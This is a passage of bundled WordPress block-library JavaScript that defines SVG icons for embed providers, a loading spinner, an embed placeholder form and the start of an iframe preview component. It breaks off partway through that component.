15200const embedAudioIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM13.2 7.7c-.4.4-.7 1.1-.7 1.9v3.7c-.4-.3-.8-.4-1.3-.4-1.2 0-2.2 1-2.2 2.2 0 1.2 1 2.2 2.2 2.2.5 0 1-.2 1.4-.5.9-.6 1.4-1.6 1.4-2.6V9.6c0-.4.1-.6.2-.8.3-.3 1-.3 1.6-.3h.2V7h-.2c-.7 0-1.8 0-2.6.7z" }) });
15201const embedPhotoIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9.2 4.5H19c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V9.8l4.6-5.3zm9.8 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z" }) });
15202const embedVideoIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM10 15l5-3-5-3v6z" }) });
15203const embedTwitterIcon = {
15204 foreground: "#1da1f2",
15205 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.G, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M22.23 5.924c-.736.326-1.527.547-2.357.646.847-.508 1.498-1.312 1.804-2.27-.793.47-1.67.812-2.606.996C18.325 4.498 17.258 4 16.078 4c-2.266 0-4.103 1.837-4.103 4.103 0 .322.036.635.106.935-3.41-.17-6.433-1.804-8.457-4.287-.353.607-.556 1.312-.556 2.064 0 1.424.724 2.68 1.825 3.415-.673-.022-1.305-.207-1.86-.514v.052c0 1.988 1.415 3.647 3.293 4.023-.344.095-.707.145-1.08.145-.265 0-.522-.026-.773-.074.522 1.63 2.038 2.817 3.833 2.85-1.404 1.1-3.174 1.757-5.096 1.757-.332 0-.66-.02-.98-.057 1.816 1.164 3.973 1.843 6.29 1.843 7.547 0 11.675-6.252 11.675-11.675 0-.178-.004-.355-.012-.53.802-.578 1.497-1.3 2.047-2.124z" }) }) })
15206};
15207const embedYouTubeIcon = {
15208 foreground: "#ff0000",
15209 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M21.8 8s-.195-1.377-.795-1.984c-.76-.797-1.613-.8-2.004-.847-2.798-.203-6.996-.203-6.996-.203h-.01s-4.197 0-6.996.202c-.39.046-1.242.05-2.003.846C2.395 6.623 2.2 8 2.2 8S2 9.62 2 11.24v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.76.797 1.76.77 2.205.855 1.6.153 6.8.2 6.8.2s4.203-.005 7-.208c.392-.047 1.244-.05 2.005-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517C22 9.62 21.8 8 21.8 8zM9.935 14.595v-5.62l5.403 2.82-5.403 2.8z" }) })
15210};
15211const embedFacebookIcon = {
15212 foreground: "#3b5998",
15213 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z" }) })
15214};
15215const embedInstagramIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.G, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z" }) }) });
15216const embedWordPressIcon = {
15217 foreground: "#0073AA",
15218 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.G, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z" }) }) })
15219};
15220const embedSpotifyIcon = {
15221 foreground: "#1db954",
15222 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424c-.18.295-.563.387-.857.207-2.35-1.434-5.305-1.76-8.786-.963-.335.077-.67-.133-.746-.47-.077-.334.132-.67.47-.745 3.808-.87 7.076-.496 9.712 1.115.293.18.386.563.206.857M17.81 13.7c-.226.367-.706.482-1.072.257-2.687-1.652-6.785-2.13-9.965-1.166-.413.127-.848-.106-.973-.517-.125-.413.108-.848.52-.973 3.632-1.102 8.147-.568 11.234 1.328.366.226.48.707.256 1.072m.105-2.835C14.692 8.95 9.375 8.775 6.297 9.71c-.493.15-1.016-.13-1.166-.624-.148-.495.13-1.017.625-1.167 3.532-1.073 9.404-.866 13.115 1.337.445.264.59.838.327 1.282-.264.443-.838.59-1.282.325" }) })
15223};
15224const embedFlickrIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "m6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5zm11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5z" }) });
15225const embedVimeoIcon = {
15226 foreground: "#1ab7ea",
15227 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.G, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M22.396 7.164c-.093 2.026-1.507 4.8-4.245 8.32C15.323 19.16 12.93 21 10.97 21c-1.214 0-2.24-1.12-3.08-3.36-.56-2.052-1.118-4.105-1.68-6.158-.622-2.24-1.29-3.36-2.004-3.36-.156 0-.7.328-1.634.98l-.978-1.26c1.027-.903 2.04-1.806 3.037-2.71C6 3.95 7.03 3.328 7.716 3.265c1.62-.156 2.616.95 2.99 3.32.404 2.558.685 4.148.84 4.77.468 2.12.982 3.18 1.543 3.18.435 0 1.09-.687 1.963-2.064.872-1.376 1.34-2.422 1.402-3.142.125-1.187-.343-1.782-1.4-1.782-.5 0-1.013.115-1.542.34 1.023-3.35 2.977-4.976 5.862-4.883 2.14.063 3.148 1.45 3.024 4.16z" }) }) })
15228};
15229const embedRedditIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z" }) });
15230const embedTumblrIcon = {
15231 foreground: "#35465c",
15232 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M19 3H5a2 2 0 00-2 2v14c0 1.1.9 2 2 2h14a2 2 0 002-2V5a2 2 0 00-2-2zm-5.69 14.66c-2.72 0-3.1-1.9-3.1-3.16v-3.56H8.49V8.99c1.7-.62 2.54-1.99 2.64-2.87 0-.06.06-.41.06-.58h1.9v3.1h2.17v2.3h-2.18v3.1c0 .47.13 1.3 1.2 1.26h1.1v2.36c-1.01.02-2.07 0-2.07 0z" }) })
15233};
15234const embedAmazonIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: [
15235 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M18.42 14.58c-.51-.66-1.05-1.23-1.05-2.5V7.87c0-1.8.15-3.45-1.2-4.68-1.05-1.02-2.79-1.35-4.14-1.35-2.6 0-5.52.96-6.12 4.14-.06.36.18.54.4.57l2.66.3c.24-.03.42-.27.48-.5.24-1.12 1.17-1.63 2.2-1.63.56 0 1.22.21 1.55.7.4.56.33 1.31.33 1.97v.36c-1.59.18-3.66.27-5.16.93a4.63 4.63 0 0 0-2.93 4.44c0 2.82 1.8 4.23 4.1 4.23 1.95 0 3.03-.45 4.53-1.98.51.72.66 1.08 1.59 1.83.18.09.45.09.63-.1v.04l2.1-1.8c.24-.21.2-.48.03-.75zm-5.4-1.2c-.45.75-1.14 1.23-1.92 1.23-1.05 0-1.65-.81-1.65-1.98 0-2.31 2.1-2.73 4.08-2.73v.6c0 1.05.03 1.92-.5 2.88z" }),
15236 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M21.69 19.2a17.62 17.62 0 0 1-21.6-1.57c-.23-.2 0-.5.28-.33a23.88 23.88 0 0 0 20.93 1.3c.45-.19.84.3.39.6z" }),
15237 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M22.8 17.96c-.36-.45-2.22-.2-3.1-.12-.23.03-.3-.18-.05-.36 1.5-1.05 3.96-.75 4.26-.39.3.36-.1 2.82-1.5 4.02-.21.18-.42.1-.3-.15.3-.8 1.02-2.58.69-3z" })
15238] });
15239const embedAnimotoIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: [
15240 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15241 external_wp_components_namespaceObject.Path,
15242 {
15243 d: "m.0206909 21 19.8160091-13.07806 3.5831 6.20826z",
15244 fill: "#4bc7ee"
15245 }
15246 ),
15247 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15248 external_wp_components_namespaceObject.Path,
15249 {
15250 d: "m23.7254 19.0205-10.1074-17.18468c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418h22.5655c1.279 0 1.8019-.8905 1.1599-1.9795z",
15251 fill: "#d4cdcb"
15252 }
15253 ),
15254 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15255 external_wp_components_namespaceObject.Path,
15256 {
15257 d: "m.0206909 21 15.2439091-16.38571 4.3029 7.32271z",
15258 fill: "#c3d82e"
15259 }
15260 ),
15261 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15262 external_wp_components_namespaceObject.Path,
15263 {
15264 d: "m13.618 1.83582c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418 15.2646-16.38573z",
15265 fill: "#e4ecb0"
15266 }
15267 ),
15268 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "m.0206909 21 19.5468091-9.063 1.6621 2.8344z", fill: "#209dbd" }),
15269 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15270 external_wp_components_namespaceObject.Path,
15271 {
15272 d: "m.0206909 21 17.9209091-11.82623 1.6259 2.76323z",
15273 fill: "#7cb3c9"
15274 }
15275 )
15276] });
15277const embedDailymotionIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15278 external_wp_components_namespaceObject.Path,
15279 {
15280 d: "M11.903 16.568c-1.82 0-3.124-1.281-3.124-2.967a2.987 2.987 0 0 1 2.989-2.989c1.663 0 2.944 1.304 2.944 3.034 0 1.663-1.281 2.922-2.81 2.922ZM17.997 3l-3.308.73v5.107c-.809-1.034-2.045-1.37-3.505-1.37-1.529 0-2.9.561-4.023 1.662-1.259 1.214-1.933 2.764-1.933 4.495 0 1.888.72 3.506 2.113 4.742 1.056.944 2.314 1.415 3.775 1.415 1.438 0 2.517-.382 3.573-1.415v1.415h3.308V3Z",
15281 fill: "#333436"
15282 }
15283) });
15284const embedPinterestIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2" }) });
15285const embedWolframIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 44 44", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M32.59521,22.001l4.31885-4.84473-6.34131-1.38379.646-6.459-5.94336,2.61035L22,6.31934l-3.27344,5.60351L12.78418,9.3125l.645,6.458L7.08643,17.15234,11.40479,21.999,7.08594,26.84375l6.34131,1.38379-.64551,6.458,5.94287-2.60938L22,37.68066l3.27344-5.60351,5.94287,2.61035-.64551-6.458,6.34277-1.38183Zm.44385,2.75244L30.772,23.97827l-1.59558-2.07391,1.97888.735Zm-8.82147,6.1579L22.75,33.424V30.88977l1.52228-2.22168ZM18.56226,13.48816,19.819,15.09534l-2.49219-.88642L15.94037,12.337Zm6.87719.00116,2.62043-1.15027-1.38654,1.86981L24.183,15.0946Zm3.59357,2.6029-1.22546,1.7381.07525-2.73486,1.44507-1.94867ZM22,29.33008l-2.16406-3.15686L22,23.23688l2.16406,2.93634Zm-4.25458-9.582-.10528-3.836,3.60986,1.284v3.73242Zm5.00458-2.552,3.60986-1.284-.10528,3.836L22.75,20.92853Zm-7.78174-1.10559-.29352-2.94263,1.44245,1.94739.07519,2.73321Zm2.30982,5.08319,3.50817,1.18164-2.16247,2.9342-3.678-1.08447Zm2.4486,7.49285L21.25,30.88977v2.53485L19.78052,30.91Zm3.48707-6.31121,3.50817-1.18164,2.33228,3.03137-3.678,1.08447Zm10.87219-4.28113-2.714,3.04529L28.16418,19.928l1.92176-2.72565ZM24.06036,12.81769l-2.06012,2.6322-2.059-2.63318L22,9.292ZM9.91455,18.07227l4.00079-.87195,1.921,2.72735-3.20794,1.19019Zm2.93024,4.565,1.9801-.73462L13.228,23.97827l-2.26838.77429Zm-1.55591,3.58819L13.701,25.4021l2.64935.78058-2.14447.67853Zm3.64868,1.977L18.19,27.17334l.08313,3.46332L14.52979,32.2793Zm10.7876,2.43549.08447-3.464,3.25165,1.03052.407,4.07684Zm4.06824-3.77478-2.14545-.68,2.65063-.781,2.41266.825Z" }) });
15286const embedPocketCastsIcon = {
15287 foreground: "#f43e37",
15288 src: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
15289 external_wp_components_namespaceObject.SVG,
15290 {
15291 width: "24",
15292 height: "24",
15293 viewBox: "0 0 24 24",
15294 fill: "none",
15295 xmlns: "http://www.w3.org/2000/svg",
15296 children: [
15297 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15298 external_wp_components_namespaceObject.Path,
15299 {
15300 fillRule: "evenodd",
15301 clipRule: "evenodd",
15302 d: "M24,12A12,12,0,1,1,12,0,12,12,0,0,1,24,12Z"
15303 }
15304 ),
15305 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15306 external_wp_components_namespaceObject.Path,
15307 {
15308 fillRule: "evenodd",
15309 clipRule: "evenodd",
15310 d: "M2.67,12a9.33,9.33,0,0,1,18.66,0H19a7,7,0,1,0-7,7v2.33A9.33,9.33,0,0,1,2.67,12ZM12,17.6A5.6,5.6,0,1,1,17.6,12h-2A3.56,3.56,0,1,0,12,15.56Z",
15311 fill: "#fff"
15312 }
15313 )
15314 ]
15315 }
15316 )
15317};
15318const embedBlueskyIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15319 external_wp_components_namespaceObject.Path,
15320 {
15321 fill: "#0a7aff",
15322 d: "M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z"
15323 }
15324) });
15325
15326
15327;// ./node_modules/@wordpress/block-library/build-module/embed/embed-loading.js
15328
15329
15330const EmbedLoading = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-embed is-loading", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
15331var embed_loading_default = EmbedLoading;
15332
15333
15334;// ./node_modules/@wordpress/block-library/build-module/embed/embed-placeholder.js
15335
15336
15337
15338
15339const EmbedPlaceholder = ({
15340 icon,
15341 label,
15342 value,
15343 onSubmit,
15344 onChange,
15345 cannotEmbed,
15346 fallback,
15347 tryAgain
15348}) => {
15349 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
15350 external_wp_components_namespaceObject.Placeholder,
15351 {
15352 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon, showColors: true }),
15353 label,
15354 className: "wp-block-embed",
15355 instructions: (0,external_wp_i18n_namespaceObject.__)(
15356 "Paste a link to the content you want to display on your site."
15357 ),
15358 children: [
15359 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("form", { onSubmit, children: [
15360 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15361 external_wp_components_namespaceObject.__experimentalInputControl,
15362 {
15363 __next40pxDefaultSize: true,
15364 type: "url",
15365 value: value || "",
15366 className: "wp-block-embed__placeholder-input",
15367 label,
15368 hideLabelFromVision: true,
15369 placeholder: (0,external_wp_i18n_namespaceObject.__)("Enter URL to embed here\u2026"),
15370 onChange
15371 }
15372 ),
15373 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, variant: "primary", type: "submit", children: (0,external_wp_i18n_namespaceObject._x)("Embed", "button label") })
15374 ] }),
15375 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-embed__learn-more", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15376 external_wp_components_namespaceObject.ExternalLink,
15377 {
15378 href: (0,external_wp_i18n_namespaceObject.__)(
15379 "https://wordpress.org/documentation/article/embeds/"
15380 ),
15381 children: (0,external_wp_i18n_namespaceObject.__)("Learn more about embeds")
15382 }
15383 ) }),
15384 cannotEmbed && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, className: "components-placeholder__error", children: [
15385 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "components-placeholder__instructions", children: (0,external_wp_i18n_namespaceObject.__)("Sorry, this content could not be embedded.") }),
15386 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
15387 external_wp_components_namespaceObject.__experimentalHStack,
15388 {
15389 expanded: false,
15390 spacing: 3,
15391 justify: "flex-start",
15392 children: [
15393 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15394 external_wp_components_namespaceObject.Button,
15395 {
15396 __next40pxDefaultSize: true,
15397 variant: "secondary",
15398 onClick: tryAgain,
15399 children: (0,external_wp_i18n_namespaceObject._x)("Try again", "button label")
15400 }
15401 ),
15402 " ",
15403 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15404 external_wp_components_namespaceObject.Button,
15405 {
15406 __next40pxDefaultSize: true,
15407 variant: "secondary",
15408 onClick: fallback,
15409 children: (0,external_wp_i18n_namespaceObject._x)("Convert to link", "button label")
15410 }
15411 )
15412 ]
15413 }
15414 )
15415 ] })
15416 ]
15417 }
15418 );
15419};
15420var embed_placeholder_default = EmbedPlaceholder;
15421
15422
15423;// ./node_modules/@wordpress/block-library/build-module/embed/wp-embed-preview.js
15424
15425
15426
15427const attributeMap = {
15428 class: "className",
15429 frameborder: "frameBorder",
15430 marginheight: "marginHeight",
15431 marginwidth: "marginWidth"
15432};
15433function WpEmbedPreview({ html }) {
15434 const ref = (0,external_wp_element_namespaceObject.useRef)();
15435 const props = (0,external_wp_element_namespaceObject.useMemo)(() => {
15436 const doc = new window.DOMParser().parseFromString(html, "text/html");
15437 const iframe = doc.querySelector("iframe");
15438 const iframeProps = {};
15439 if (!iframe) {
15440 return iframeProps;
15441 }
15442 Array.from(iframe.attributes).forEach(({ name, value }) => {
15443 if (name === "style") {
